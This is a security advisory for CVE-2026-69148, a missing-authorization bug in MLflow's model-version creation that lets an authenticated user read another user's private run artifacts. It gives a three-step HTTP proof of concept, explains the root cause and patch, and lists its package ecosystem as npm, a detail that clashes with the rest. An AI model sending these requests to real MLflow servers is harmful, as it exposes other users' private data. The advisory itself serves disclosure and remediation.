high · 7.1CVE-2026-69148Aug 17, 2026

CVE-2026-69148: MLflow Missing Authorization on CreateModelVersion run_id

Rohit Hatagale
AI Security Researcher, SecureLayer7

An authenticated MLflow user can reference another user's private run_id when creating a model version, then read files from that run's artifact directory without having any READ permission on the…

Packagemlflow
Ecosystemnpm
Affected< 3.15.0
Fixed in3.15.0
CVE-2026-69148: MLflow Missing Authorization on CreateModelVersion run_id

The problem

The _validate_source_run function in mlflow/server/handlers.py checks only that the supplied source path sits inside the referenced run's artifact directory. It never checks whether the caller has READ permission on that run.

After creating the model version, the stored source and run_id point at the victim's artifact directory. The caller (who holds MANAGE on their own model) can then fetch any file from that directory via GET /model-versions/get-artifact, completely bypassing the GET /get-artifact permission gate that would otherwise return 403.

Proof of concept

A working proof-of-concept for CVE-2026-69148 in mlflow, with the exact payload below.

http
# Step 1 — direct access is blocked (403 when alice's experiment is private)
GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob_credentials>

# Step 2 — create a model version that anchors to alice's run_id
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob_credentials>
Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

# Step 3 — read alice's private file via the model-version artifact handler (200 OK)
GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob_credentials>

The root cause is CWE-862 (Missing Authorization). _validate_source_run calls store.get_run(run_id) to resolve the artifact directory, but the auth layer is never consulted for that run_id, so path-containment validation passes for any run the attacker can name.

The patch (PR #24293, commit 4bb7474) adds an explicit READ permission check on the referenced run or logged model inside _validate_source_run and _validate_source_model before the path-containment test is even reached. An attacker supplying a victim's run_id now gets a 403 before any filesystem path logic runs.

The fix

Upgrade to MLflow 3.15.0 or later. The fix is in PR #24293 (commit 4bb7474771c3be808cd9e129defef9305f2869be): both _validate_source_run and _validate_source_model now assert READ permission on the referenced run or model before performing path validation. No configuration change is needed beyond the upgrade.

Reported by PattaraS.

References: [1][2][3][4][5]

Related research